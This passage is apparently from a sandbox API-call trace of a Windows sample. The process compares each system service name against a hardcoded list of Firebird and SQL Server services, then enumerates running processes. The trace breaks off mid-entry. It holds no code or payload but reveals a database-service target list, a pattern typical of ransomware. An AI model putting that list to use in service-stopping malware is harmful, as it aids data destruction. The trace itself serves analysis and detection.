(lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0307.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0307.342] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0307.342] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0307.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0307.342] lstrlenW (lpString="EventLog") returned 8 [0307.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0307.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0307.342] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0307.342] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0307.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0307.342] lstrlenW (lpString="EventSystem") returned 11 [0307.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0307.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0307.342] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0307.342] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0307.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0307.342] lstrlenW (lpString="FontCache") returned 9 [0307.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0307.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0307.342] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0307.342] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0307.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0307.342] lstrlenW (lpString="gpsvc") returned 5 [0307.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0307.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0307.342] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0307.343] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0307.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0307.343] lstrlenW (lpString="iphlpsvc") returned 8 [0307.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0307.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0307.343] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0307.343] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0307.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0307.343] lstrlenW (lpString="KeyIso") returned 6 [0307.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0307.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0307.343] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0307.343] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0307.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0307.343] lstrlenW (lpString="LanmanServer") returned 12 [0307.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0307.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0307.343] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0307.343] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0307.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0307.343] lstrlenW (lpString="LanmanWorkstation") returned 17 [0307.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0307.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0307.343] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0307.343] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0307.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0307.343] lstrlenW (lpString="lfsvc") returned 5 [0307.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0307.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0307.343] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0307.344] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0307.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0307.385] lstrlenW (lpString="lmhosts") returned 7 [0307.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0307.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0307.385] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0307.385] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0307.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0307.385] lstrlenW (lpString="LSM") returned 3 [0307.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0307.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0307.385] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0307.385] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0307.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0307.385] lstrlenW (lpString="MapsBroker") returned 10 [0307.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0307.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0307.385] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0307.385] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0307.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0307.385] lstrlenW (lpString="MpsSvc") returned 6 [0307.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0307.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0307.385] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0307.388] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0307.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0307.388] lstrlenW (lpString="NcbService") returned 10 [0307.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0307.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0307.388] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0307.388] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0307.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0307.388] lstrlenW (lpString="netprofm") returned 8 [0307.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0307.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0307.389] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0307.389] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0307.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0307.389] lstrlenW (lpString="NgcSvc") returned 6 [0307.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0307.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0307.389] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0307.389] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0307.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0307.389] lstrlenW (lpString="NlaSvc") returned 6 [0307.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0307.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0307.389] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0307.389] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0307.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0307.390] lstrlenW (lpString="nsi") returned 3 [0307.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0307.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0307.391] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0307.391] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0307.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0307.391] lstrlenW (lpString="PcaSvc") returned 6 [0307.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0307.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0307.391] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0307.391] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0307.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0307.391] lstrlenW (lpString="PlugPlay") returned 8 [0307.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0307.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0307.391] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0307.391] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0307.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0307.391] lstrlenW (lpString="Power") returned 5 [0307.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0307.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0307.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0307.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0307.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0307.391] lstrlenW (lpString="ProfSvc") returned 7 [0307.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0307.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0307.391] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0307.391] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0307.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0307.391] lstrlenW (lpString="RpcEptMapper") returned 12 [0307.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0307.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0307.392] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0307.392] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0307.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0307.392] lstrlenW (lpString="RpcSs") returned 5 [0307.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0307.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0307.392] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0307.392] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0307.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0307.392] lstrlenW (lpString="SamSs") returned 5 [0307.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0307.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0307.392] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0307.392] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0307.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0307.392] lstrlenW (lpString="Schedule") returned 8 [0307.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0307.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0307.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0307.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0307.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0307.392] lstrlenW (lpString="SecurityHealthService") returned 21 [0307.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0307.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0307.392] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0307.392] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0307.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0307.392] lstrlenW (lpString="SENS") returned 4 [0307.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0307.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0307.393] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0307.393] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0307.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0307.393] lstrlenW (lpString="ShellHWDetection") returned 16 [0307.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0307.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0307.393] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0307.393] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0307.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0307.393] lstrlenW (lpString="Spooler") returned 7 [0307.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0307.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0307.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0307.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0307.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0307.393] lstrlenW (lpString="SSDPSRV") returned 7 [0307.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0307.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0307.393] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0307.393] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0307.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0307.393] lstrlenW (lpString="StateRepository") returned 15 [0307.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0307.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0307.393] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0307.393] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0307.393] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0307.394] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4f4 [0307.400] Process32FirstW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0307.401] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0307.402] lstrlenW (lpString="System") returned 6 [0307.402] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0307.402] lstrlenW (lpString="smss.exe") returned 8 [0307.403] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0307.403] lstrlenW (lpString="csrss.exe") returned 9 [0307.403] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0307.404] lstrlenW (lpString="wininit.exe") returned 11 [0307.404] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0307.405] lstrlenW (lpString="csrss.exe") returned 9 [0307.405] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0307.406] lstrlenW (lpString="winlogon.exe") returned 12 [0307.406] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0307.406] lstrlenW (lpString="services.exe") returned 12 [0307.407] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0307.407] lstrlenW (lpString="lsass.exe") returned 9 [0307.407] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0307.408] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0307.408] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0307.409] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0307.409] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.410] lstrlenW (lpString="svchost.exe") returned 11 [0307.410] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.410] lstrlenW (lpString="svchost.exe") returned 11 [0307.410] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0307.411] lstrlenW (lpString="dwm.exe") returned 7 [0307.411] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.412] lstrlenW (lpString="svchost.exe") returned 11 [0307.412] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.413] lstrlenW (lpString="svchost.exe") returned 11 [0307.413] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.413] lstrlenW (lpString="svchost.exe") returned 11 [0307.413] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.414] lstrlenW (lpString="svchost.exe") returned 11 [0307.414] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.415] lstrlenW (lpString="svchost.exe") returned 11 [0307.415] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.416] lstrlenW (lpString="svchost.exe") returned 11 [0307.416] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.416] lstrlenW (lpString="svchost.exe") returned 11 [0307.416] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.417] lstrlenW (lpString="svchost.exe") returned 11 [0307.417] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.418] lstrlenW (lpString="svchost.exe") returned 11 [0307.418] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.419] lstrlenW (lpString="svchost.exe") returned 11 [0307.419] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0307.420] lstrlenW (lpString="spoolsv.exe") returned 11 [0307.420] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0307.420] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0307.420] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0307.422] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0307.423] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0307.423] lstrlenW (lpString="Memory Compression") returned 18 [0307.423] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0307.424] lstrlenW (lpString="svchost.exe") returned 11 [0307.424] Process32NextW (in: hSnapshot=0x4f4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, 